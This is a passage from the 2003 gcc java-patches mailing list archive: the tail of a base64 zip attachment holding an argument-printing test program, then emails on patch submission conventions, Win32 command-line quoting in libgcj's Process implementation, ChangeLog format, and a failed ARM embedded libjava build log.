K7rsPp+OLrmyyOPifsYJtotdS99PxolYdcHxDtvxJA7ctqhMzxC6LVlRxaaC sVKvSMdE13kBZrE6BXWXhA0W2whEqrqQ33aea/Bo/Hm9Br9pnC40ugwaS7J0 Lp8gOxORP+sY4RYNu1Jozpnflsl24N20g898+Fa9aZ8uAhIK7iPX13J9n1Q2 WCeSN6RkCvW6ouTrrvRSnedN7+s8nxer+gnPk8d5zj1HWIba3+F+7oVKLvxF PdyTwI/Px9M+nxqvM+P16C+rsFVZhH88lXgQbw96BvC1M57C4xAMnvbKqzQu Bb8lCurt45XBYf4SJKr5uGwcodLRsd8muNlwytCH04Ef40X+OUeYv1t2XXD7 TdVeMqK8Wvq3dS5p2PHMxDyvPpJg2X3SGElo3vjNGw7+2BgtWZIrEyjFHcD3 ZBPHjFsvM/CtsUGDm5X8qozxQZPh8ejIkss+YdBk6J0ruvodYW6LWBWVl4Hl rQv/HUUX/pDIn/d5vAobJd/oU5PH+uBc7jD2geMSt0Dj+706fRwyBlUgiQPf 7SV98m1Db8n1Jz7V62gFGk/kPPxMPP2L1LKP/pQ05SF23/cwotgH8AvAYH+3 X8W52DZ/7G4J1jOPEqRuuIfaIPSbYYFFXfhFKR1hUjgUYdjDfcPFq0wBLjVQ n0R1gkVbleg3q4mB+kSqswqfuctlUb/JT/kt5W58F2Tc6iNryotXsfl26LAf gIT5ePawK6qmwOc19nBZFNRbcmjMonUxcqkJFkLgc5fVuNd7li5U10l9sOfB ZOgyMHNquNhrClQjN6NUZ1m003VN5+Ya8BYl3CQRbqhy8kLJb1I6ryETmfis 8HiYfdaVNNdlnXDF9L96f6+s/+v399R6cl8cWa/f37diaIOPZeA3r/877++R +H9+f49Yf/3+3ij/DgQnwB8D/zz4n4P/MfinwT+5/h91f08koWGDqQonZQVv r/jfcX8f8I7f3+d4b3p/31lB+gOR9z8B8SPg+yv+xv19wPv33t8Tmv+l+3uD 9mIIloEvBr8G/Hrwm8DXgd/l/Ufd3+vy2Q+fT4A/BP557z/o/h4NGK9uXPta KibY1cvG7eoEYiWbuLtwU75o7A3/rNzu7D7OtpJjVvJT3P4hlXH7/6xa3P5h Lf1pXFwSBGuOBlunm9hjE3cNmZ962T1cHKJNMh3iLBIV/mvFCduwaUnBrCP7 QRU6GM4OG8/l5DuarR8Ll6c0zxQuZ+3K0MulkNdd9BuPA+pBBITbLz+Pj9Am t19+mRqjjq8Cdibp8ankGxwV5LvhaY4C5JMV8GuuUq808pd7DzShTdxWnzJv 7P32MkEzgfGmmfmpYBynkhdwkqLEkVOrX1dymT7lMp4Hwep1SN8SJen2raTA SvGBT6mFXMlSibYtFfyAS6xQ4rGsmn5zoY6dCKLlKHAzDzHcdG0no/zxDU1r aG+wjlzN7a4U4/HnbEro6vAJbd6mzfj9lpiLuZiLuZiLuZi7mXu8nqK+B/7n 4I+CfxP8++DjGygqE/xS8G7wDeD3gn8C/A/BPwe+D/zb4D8Ez9xPURngbwO/ GPxy8GvB3we+AXwz+L3gO8E/Dv5p8P8B/hj418FfAB8Bn9RIUXbwOXgVCn4d +DrwXKPOLxgL2p2TnJQLfDywiTsyG2WJp+LNNtrlcsWhW5Kj/8y/fX6ee0MC Q92Vk+NzJ0DajsYQxWxu3AyOopqadoNjAINKoBgGAgb+MEnNp7ZTPLUN/haQ eudv57dtg2hNzYo19y4vXFNT6ip013hca1xF613FCC/zeIvWrZ8Ix3LN/HZu 6wP19vrm5h3NdopKSaKo9Wvu9Xh0CCYpz8q1KyYkqeJ7ywpXrr0OWbc0Z1Fe StIddn577Re21du5Hfat27dyW2u3bX2o3t5YX9ukl0O8uxAP/+1C/fYd/P2N 9pam2i319gaoe9uOXVsnFKzltu7Yfr3c0puWa+Hq/ka5JViuiW+ut+/c2szx tdvsDfz2LYhj31K7bRtBRLzFN6Vfs2N7/e6t3OdqOQzsHDZxnP6d+Te2e0dT PRDesb1lB6Tr6ndu3TIB15BR/e6m+i1cfR2RzES5Is5dn8J5gN/GbeUam+tr 60BCW774afyby8UohP8nAdBTkmq/sH1H8wMggLH/f8HVNz+wdfuN8srJvym9 +u0gwR3bH6jfzgE64ubdFLe2+X4eEVvG5JuzCHEbtu2A6rbfb2/asXU7R4oC pK6+Tq+/bOuW5h0tOxo4u3drC3ZVUXa2fZ0xQNds/UJzbfMexEvCMWeAXSiO 2UlJbr1Rn4chTC1cuJBaNtbK7bWAxW//4vYdu7bfTVEr6rk1tS1cIQyBnfXu HU18E4Hpad/W7XU7dlFl9S0ttffXL9+xu5DiW+qbcxctrNu27Ua9hPP81Xud 1GnwGH/E7aS+5Nbj8eucVBL4C3XX8R9B/bD5/w0d9zJKrGjHAw/Ubq9bs3V7 fSHFmQDirW9ugbFEUW2UC2YK9MgWECT1lHm9MdDqx0DUCKHANzfDGBkD/g9z xfZGoLitvs61e0t9E47Lkq3bYJRSVBbSL9tRx2+rB1D9WujTQuCdKmmur3dd H5cerhlGV0sh9cxNcnzUabNva119UWNt8/odZTi3lu/h6ql4pP+X6BTz1+E+ inrA7KnnSgm7RTtgLIKUENfD1elAikrHNHK7fk9TPeXWc2tBBzWt3N6wo5C6 7Xqb9CLQosRP1eetbd6KqgXG4QQJu2BcftNUCtqjuL6Fa96xh/o3kiqCCQ+N oV4ye3Vdh0KgvkXySJT6nHkdt61i+y4Y59Q7Zl/zVo7Ik/oGwSncBhqGeon0 jRuZpH5J5kYRLFZ3Yv33usow/qsx+noB6juk9Lp6PXk3YmKnFtbVNZPePmpa A7PcmMDQyltMxiwkkxfGMlWyjW9pRE6W8w0N0Eg8g/bo0nOjqsAxcME03l/r d4x1IvWSaU1RWW2T3jFAu3tiGvrJo8sdU9gPgOG9EQI4rVjXhJ6bQRVt29Fi 9Aq12rVurWvNX9MBMRdzMRdzMRdzMfff7x64xUkdy3WOpyfPcP4Fzh133G2f M68FfwmfKq0Hg8Te0LzjAbsblnuusPn+loX1u+sxr26G/gXk+bVOKgO8/Smd Fob4M1TjzvaXfOAbCxN1c2c2fMzF3N/r4sB0TTbiMyE+9v8dvzYhjj8Hyxjx xybE902I758Q/8qE+D9PiH91QhwvfPHnx3FO4A9D4P4VEzaI2+O+Ov3TfOK4 PrZFv7V7Yot+C7YNQjLftuhfN8yEcBKEF7/gpCZD2AfhFAifhBB/SKUOQiS8 DMJbIKQhnAHhiVr98dvTEO6G8HEIccPfAeFDEHIQ4q+JNeHvAEK4GcKZZX/d L+d0j/9V8tN/88f/7H/HXym06W/9dfyVvxsx2if8mf7Ov4nlH5nwZ/47/8bK 2v9PD+z/y5zJTJOhj783svmRPY/MNuDfe0cPD3xXD9u/1Y9DjXLuDZDwEOCH Dr590H4Tuu2jeug0wl/8nfiFRngY8F/7zoXv3EL98TvKdzbenP7eAyRWDgqj /O3qt+1Uzdv+txf9Jf6Zs7/rvwz79r1jJXWH3xVA32h4zXCDkPfx/+nOibmY i7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7mYi7l/ iMO3Af0THrdhdCF1/b0bhvgt/bE3bhYjxDdK+LYH/8kZfu8f/48ivg3Ct0VW iiLvhawGDMMkIy95Qt5UoyyGrEHXZsDwPdFkwyN8tgFfYqQLjXSRkXYbZdYZ cI8R+gz6lUbd2wz4AxRF3so0gcc3SM0Gr/EGfsDgud0IHzHyBSO/w6CD/wwP v5H3lJE+YPDztFHf9w34swZ/rxr5vzXyMxJ0WcRczMVczMVczP3/7P4nUEsD BBQAAAAIABkMVC4MosRRlAEAAKoDAAASAAAAUHJpbnRBcmdzVGVzdC5qYXZh fVJNT8MwDL1P2n+weqFDLJM4Mu0AGohJSEwbN8ohpGkXSJOSpNsQ4r9jt/vo Ng2rUhK/54/6WRWldQE++JIzZdnlsNvpdsrqXSsBQnPvYeqUCbcu9y/Sh27n Zwf7wAMeS6tSKLgy8TwgNX99A47sXrcDaGHh7MrD5Pl+LWQZlDV1CoKmzgqJ BUonYNS4yGaVCaqQewcZy2XYAHHvCJJrKQ5d8eGTzMgVbPs7RX9OXWTR7t+p SHR1hsXT1F1rZc4z+tl56HzU+CZJcEi54wU8KC19koSF8soLa3U/FyJJ5JoX ZY3sWm1dSbF/O78FahtWKiwgib4qGzBVxGBuUTjpJINHzqLT4N9DV6/eGroN BjCuipKiUde69QsPtgplFVhDuauyDFOnM8lT6cClrq0+6XTI2GNHshJ1YjAx 6ip50bBj3CZalhYQ91obQ63SmVkH8XC4QVr6N0uCy+2eaDQjapBhmpSe8Tac TGUQ72gjMJXWR6v5jnGfrYj5tw+yYDgOVpJG2mwTbPNuBks1hba+Kfhbf39Q SwMEFAAAAAgAVgxULnK6o1+CAAAAyQAAABAAAABTdW5KREsxNDFfMDEub3V0 Vc0xC8IwEIbhXfA/HN2TwdFBKIh0LNixS0ivSSDp6d2J/flakKjbx8MHb4c5 E8xMBXpOi7YcxOKK+50xJ2j+rPmgmyY+5LRUMHNd1c7HsWcK7ApcUkYZNSZJ 4omyCd6PuLpy27wmvmtA0d9gC1sNnkkj3B+kKBauBBqR0ULn7Pv4AlBLAQIU ABQAAAAIANgKVC4DQOdgdAAAAIgAAAAJAAAAAAAAAAEAIAAAAAAAAABidWls ZC5iYXRQSwECFAAUAAAACABcHVQucrqjX4IAAADJAAAAFAAAAAAAAAABACAA AACbAAAAR0NKMzNfUG9zdEJ1Z0ZpeC5vdXRQSwECFAAUAAAACAB6DFQuVoTa gIQAAAD6AAAAEwAAAAAAAAABACAAAABPAQAAR0NKMzNfUHJlQnVnRml4Lm91 dFBLAQIUABQAAAAIABkKVC5MUj99mgAAAMwAAAANAAAAAAAAAAEAIAAAAAQC AABQcmludEFyZ3MuY3BwUEsBAhQAFAAAAAgAIgpULgeT+KjsNwAAAKAAAA0A AAAAAAAAAAAgAAAAyQIAAFByaW50QXJncy5leGVQSwECFAAUAAAACAAZDFQu DKLEUZQBAACqAwAAEgAAAAAAAAABACAAAADgOgAAUHJpbnRBcmdzVGVzdC5q YXZhUEsBAhQAFAAAAAgAVgxULnK6o1+CAAAAyQAAABAAAAAAAAAAAQAgAAAA pDwAAFN1bkpESzE0MV8wMS5vdXRQSwUGAAAAAAcABwCuAQAAVD0AAAAA ------------DBTo9ziRBnGiThHWTUZisK-- From java-patches-return-6221-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 13:34:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1288 invoked by alias); 20 Feb 2003 13:34:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1281 invoked from network); 20 Feb 2003 13:34:52 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 20 Feb 2003 13:34:52 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1KDYqe08595 for ; Thu, 20 Feb 2003 07:34:52 -0600 From: Mohan Personal To: java-patches@gcc.gnu.org Date: Thu, 20 Feb 2003 07:35:20 -0600 X-Priority: 3 (Normal) Reply-To: mohan@thisiscool.com Message-Id: <54E007KGYV74MLED04WU65C96404YTFC.3e54d998@p733> Subject: Newbie Patch Submission Question MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi People, If I submit a patch to Makefile.am / configure.in, etc. do I also include the regenerated Makefile.in / configure, etc. as part of the patch? I wasn't able to find anything about this on the website. Thanks. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6222-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 14:22:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23783 invoked by alias); 20 Feb 2003 14:22:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23764 invoked from network); 20 Feb 2003 14:22:34 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by 172.16.49.205 with SMTP; 20 Feb 2003 14:22:34 -0000 Received: from [128.130.111.28] (naos [128.130.111.28]) by vexpert.dbai.tuwien.ac.at (8.12.6/8.12.6) with ESMTP id h1KEMXss023521; Thu, 20 Feb 2003 15:22:33 +0100 (CET) Date: Thu, 20 Feb 2003 15:22:31 +0100 (CET) From: Gerald Pfeifer To: Tom Tromey cc: Gcc Patch List , java-patches@gcc.gnu.org Subject: Re: Patch: move gcj 3.3 status page to gcc-3.3 directory In-Reply-To: <877kbw7xqk.fsf@fleche.redhat.com> Message-ID: References: <877kbw7xqk.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 19 Feb 2003, Tom Tromey wrote: > This patch was suggested a while back by Gerald. > > It moves the gcj 3.1 and 3.3 status pages to the respective > gcc- directories. Yes, that looks fine, thanks! (In the long term, we'll probably want to switch gcc.gnu.org and these pages to cascading style sheets, CSS, so if anyone is interested in encoding the various status as "classes" that might make sense, but it's certainly not required.) Gerald From java-patches-return-6223-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 14:44:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7245 invoked by alias); 20 Feb 2003 14:44:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7233 invoked from network); 20 Feb 2003 14:44:02 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.122) by 172.16.49.205 with SMTP; 20 Feb 2003 14:44:02 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 20 Feb 2003 06:44:01 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: <2VEBRLG1UIGH6FEJHLITPGFSNSMU.3e54a96a@p733> Subject: Re: Patch: Win32 Process Implementation Date: Thu, 20 Feb 2003 20:15:59 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 20 Feb 2003 14:44:01.0790 (UTC) FILETIME=[823199E0:01C2D8EE] > Here is a patch to Ranjit's Win32 process implementation which > corrects the fact that both the executable path and its arguments > need to be quoted if they contain embedded spaces. The patch IMO, your patch is partly correct (in putting quotes around cmdArray arguments) - the other "effects" can equally well be explained in a different manner, not needing any changes to GCJ per se. [Please note that the following is based purely on empirical evidence experimenting with Windows and the JDK.] Sun's JDK (according to the JDK 1.4.1 docs) treats cmdArray merely as the tokens of the command line and (as it turns out) quotes the individual tokens before concatenating them together to form the command line that is passed to the Win32 CreateProcess( ) function. The rest can be explained by the behaviour of CreateProcess( ) as well as the way the command line is parsed by Win32: http://msdn.microsoft.com/library/en-us/dllproc/base/createprocess.asp The Windows command line parser uses spaces as delimiters and quotes to group words separated by spaces into a single token - it strips the quotes from the tokens before doing anything with them. In particular, note that something like "foo "bar"snafu wombat" is still treated as a single token. Runtime.exec( "foo bar\\snafu") seems to work because of the way Windows tries to look for the executable to execute (refer to the CreateProcess( ) documentation above) - it breaks if you also have a program named "foo.exe" in the current folder. In short, I think if you merely add quotes to the individual elements of cmdArray before concatenating them to form the command line, it should still behave quite like the JDK. Now a short digression on patch preparation and format, based on my experience and feedback from the GCJ maintainers, in response to your questions on this issue in an earlier message: Since I do not use a version control system that can easily give me differences between my version and the "vendor version" (term as used in CVS), I do the following - a. back up the original file in the same folder with an extra ".orig" suffix. Ditto for the ChangeLog file for the component (libjava, java, etc.) b. Update the ChangeLog with a new entry describing the change. Format is "yyyy-mm-dd Your Name ", followed by an empty line, followed by *tab indented* lines explaining the changes: "path/to/file.java (modified function): change details." c. Use a slightly modified version of my "makepatch.sh" script (as given on my GCJ build page) that just finds files with an ".orig" extension, runs "diff -u2" on these files and their modified versions, concatenates this output to a pseudo "Index" and "===..." pair of lines (stripping ".orig" from the file names) per file - I redirect this output to a text file. This should be run from the base folder of the component (i.e. the one containing the relevant ChangeLog). d. Run "clcleanup" on this file to get the final submittable patch. This can be found in: http://subversions.gnu.org/cgi-bin/viewcvs/cvs-utils/cvs-utils/ e. verify that the patch actually works as expected by running it through "patch --dry-run -p0" on an unmodified copy of the source tree (within the base folder of the component). f. submit it using a mailer that doesn't do any tomfoolery(ha!) with the spaces/tabs in your message (the way Mozilla Messenger does) and hope Tom doesn't chide you for a bad patch format. ;-) In practice, since I have a bunch of unrelated ".orig" files belonging to various patches and experiments, I first copy the modified and original files to a separate empty folder (maintaining the structure) and a dummy ChangeLog file. The advantage of this format is that Tom can apply the patch directly from within his mailer after it is approved. Hope this helps. Ranjit. From java-patches-return-6224-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 14:50:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9211 invoked by alias); 20 Feb 2003 14:50:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9203 invoked from network); 20 Feb 2003 14:50:12 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.124) by 172.16.49.205 with SMTP; 20 Feb 2003 14:50:12 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 20 Feb 2003 06:50:11 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: <2VEBRLG1UIGH6FEJHLITPGFSNSMU.3e54a96a@p733> Subject: Re: Patch: Win32 Process Implementation Date: Thu, 20 Feb 2003 20:22:10 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 20 Feb 2003 14:50:11.0734 (UTC) FILETIME=[5EB29360:01C2D8EF] > b. Update the ChangeLog with a new entry describing the change. > Format is "yyyy-mm-dd Your Name ", > followed by an empty line, followed by *tab indented* lines > explaining the changes: > > "path/to/file.java (modified function): change details." ^ Sorry, there should have been a "* " here. For example: ------------------------------ 8< ------------------------------ 2003-02-20 Mohan Embar * foo/bar/Snafu.java (wombat): Changed something. * some/other/File.java: Changed something else. ------------------------------ 8< ------------------------------ In addition, this entry should be at the *top* of the ChangeLog file for clcleanup to pick it up correctly. Ranjit. From java-patches-return-6225-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 15:22:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27845 invoked by alias); 20 Feb 2003 15:22:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27817 invoked from network); 20 Feb 2003 15:22:56 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 20 Feb 2003 15:22:56 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1KFMtW22159 for ; Thu, 20 Feb 2003 09:22:55 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Thu, 20 Feb 2003 09:23:25 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: <85HBZYRMA9XR8D0RMHCRN61ZX2ZMHQM.3e54f2ed@p733> Subject: Re: Patch: Win32 Process Implementation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" >IMO, your patch is partly correct (in putting quotes around >cmdArray arguments) - the other "effects" can equally well be >explained in a different manner, not needing any changes to >GCJ per se. Thanks for the observation. I'll look into this and resubmit a patch following the rules you mentioned. >Now a short digression on patch preparation and format, based >on my experience and feedback from the GCJ maintainers, >in response to your questions on this issue in an earlier >message: Thanks so much for these tips. They will be helpful not only to me, but also anyone else aspiring to do this sort of stuff. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6226-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 16:17:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15756 invoked by alias); 20 Feb 2003 16:17:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15745 invoked from network); 20 Feb 2003 16:17:49 -0000 Received: from unknown (HELO fw-cam.cambridge.arm.com) (193.131.176.3) by 172.16.49.205 with SMTP; 20 Feb 2003 16:17:49 -0000 Received: by fw-cam.cambridge.arm.com; id QAA25569; Thu, 20 Feb 2003 16:17:48 GMT Received: from unknown(172.16.1.2) by fw-cam.cambridge.arm.com via smap (V5.5) id xma024666; Thu, 20 Feb 03 16:16:53 GMT Received: from pc960.cambridge.arm.com (pc960.cambridge.arm.com [10.1.205.4]) by cam-admin0.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id QAA29386; Thu, 20 Feb 2003 16:16:53 GMT Received: from pc960.cambridge.arm.com (rearnsha@localhost) by pc960.cambridge.arm.com (8.11.6/8.9.3) with ESMTP id h1KGGq725398; Thu, 20 Feb 2003 16:16:52 GMT Message-Id: <200302201616.h1KGGq725398@pc960.cambridge.arm.com> X-Authentication-Warning: pc960.cambridge.arm.com: rearnsha owned process doing -bs To: Michael Koch cc: Richard.Earnshaw@arm.com, Richard Earnshaw , java-patches@gcc.gnu.org Reply-To: Richard.Earnshaw@arm.com Organization: ARM Ltd. X-Telephone: +44 1223 400569 (direct+voicemail), +44 1223 400400 (switchbd) X-Fax: +44 1223 400410 X-Address: ARM Ltd., 110 Fulbourn Road, Cherry Hinton, Cambridge CB1 9NJ. Subject: Re: libjava embedded builds broken *again* In-reply-to: Your message of "Thu, 20 Feb 2003 08:29:29 +0100." <200302200829.34730.konqueror@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Feb 2003 16:16:52 +0000 From: Richard Earnshaw > Well, I sent a patch to this list for testing but noone send me a > negative response. Then Tom commited it to 3.3 branch so I suspected > all was okay. > I'm not subscribed to that list, so I don't receive such messages. Maybe they should be CC'd to gcc-patches. > I commit now a fix to libjava/gnu/java/nio/natSocketChannelImpl.cc. > Please try it on your platform and tell me netgative and positive > things. > Doesn't fix things. It still dies as follows: /work/rearnsha/gnu/egcs/gcc/xgcc -shared-libgcc -B/work/rearnsha/gnu/egcs/g cc/ -nostdinc++ -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src/.libs -nostdinc -B/work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/ -isystem /work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/targ-include -isystem /home/rearnsha/gnusrc/egcs-cross/newlib/libc/include -B/work/rearnsha/gnu/install/arm-elf/bin/ -B/work/rearnsha/gnu/install/arm- elf/lib/ -isystem /work/rearnsha/gnu/install/arm-elf/include -L/work/rearnsha/gnu/egcs/ld -mthumb -DHAVE_CONFIG_H -I. -I/home/rearnsha/gnusrc/egcs-cross/libjava -I./include -I./gcj -I/home/rearnsha/gnusrc/egcs-cross/libjava -Iinclude -I/home/rearnsha/gnusrc/egcs-cross/libjava/include -I/home/rearnsha/gnusrc/egcs-cross/libjava/../boehm-gc/include -DSILENT=1 -DNO_SIGNALS=1 -DNO_EXECUTE_PERMISSION=1 -DALL_INTERIOR_POINTERS=1 -DJAVA_FINALIZATION=1 -DGC_GCJ_SUPPORT=1 -DATOMIC_UNCOLLECTABLE=1 -DNO_SIGSET=1 -DNO_DEBUGGING=1 -I/home/rearnsha/gnusrc/egcs-cross/libjava/. ././libjava/../gcc -I/home/rearnsha/gnusrc/egcs-cross/libjava/../zlib -fno-rtti -fnon-call-exceptions -fdollars-in-identifiers -Wswitch-enum -I/usr/X11R6/include -W -Wall -D_GNU_SOURCE -DPREFIX=\"/work/rearnsha/gnu/i nstall\" -g -O2 -mthumb -MD -MT gnu/java/nio/natSocketChannelImpl.lo -MF gnu/java/nio/natSocketChannelImpl.pp -c /home/rearnsha/gnusrc/egcs-cross/li bjava/gnu/java/nio/natSocketChannelImpl.cc -o gnu/java/nio/natSocketChannel Impl.o /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketCreate()': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:81: error: ` AF_INET' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:81: error: (Each undeclared identifier is reported only once for each function it appears in.) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:81: error: ` SOCK_STREAM' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:81: error: ` _Jv_socket' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In function `static jint gnu::java::nio::SocketChannelImpl::SocketConnect(__java_int, java::net::InetAddress*, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:96: warning: unused parameter `jint fd' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:96: warning: unused parameter `java::net::InetAddress*addr' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:96: warning: unused parameter `jint port' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In function `static jint gnu::java::nio::SocketChannelImpl::SocketBind(__java_int, java::net::InetAddress*, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:104: warning: unused parameter `jint fd' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:104: warning: unused parameter `java::net::InetAddress*addr' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:104: warning: unused parameter `jint port' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketListen(__java_int, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:111: error: ` _Jv_listen' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketClose(__java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:131: error: ` _Jv_close' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketRead(__java_int, JArray *, __java_int, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:146: error: `:: recv' has not been declared /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketWrite(__java_int, JArray *, __java_int, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:161: error: `:: send' has not been declared gnumake[4]: *** [gnu/java/nio/natSocketChannelImpl.lo] Error 1 gnumake[4]: *** Waiting for unfinished jobs.... gnumake[4]: *** Waiting for unfinished jobs.... gnumake[4]: Leaving directory `/work/rearnsha/gnu/egcs/arm-elf/thumb/libjav a' gnumake[3]: *** [all-recursive] Error 1 gnumake[3]: Leaving directory `/work/rearnsha/gnu/egcs/arm-elf/thumb/libjav a' gnumake[2]: *** [multi-do] Error 1 gnumake[2]: Leaving directory `/work/rearnsha/gnu/egcs/arm-elf/libjava' gnumake[1]: *** [all-multi] Error 2 gnumake[1]: Leaving directory `/work/rearnsha/gnu/egcs/arm-elf/libjava' gnumake: *** [all-target-libjava] Error 2 From java-patches-return-6227-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 16:35:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28260 invoked by alias); 20 Feb 2003 16:35:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28244 invoked from network); 20 Feb 2003 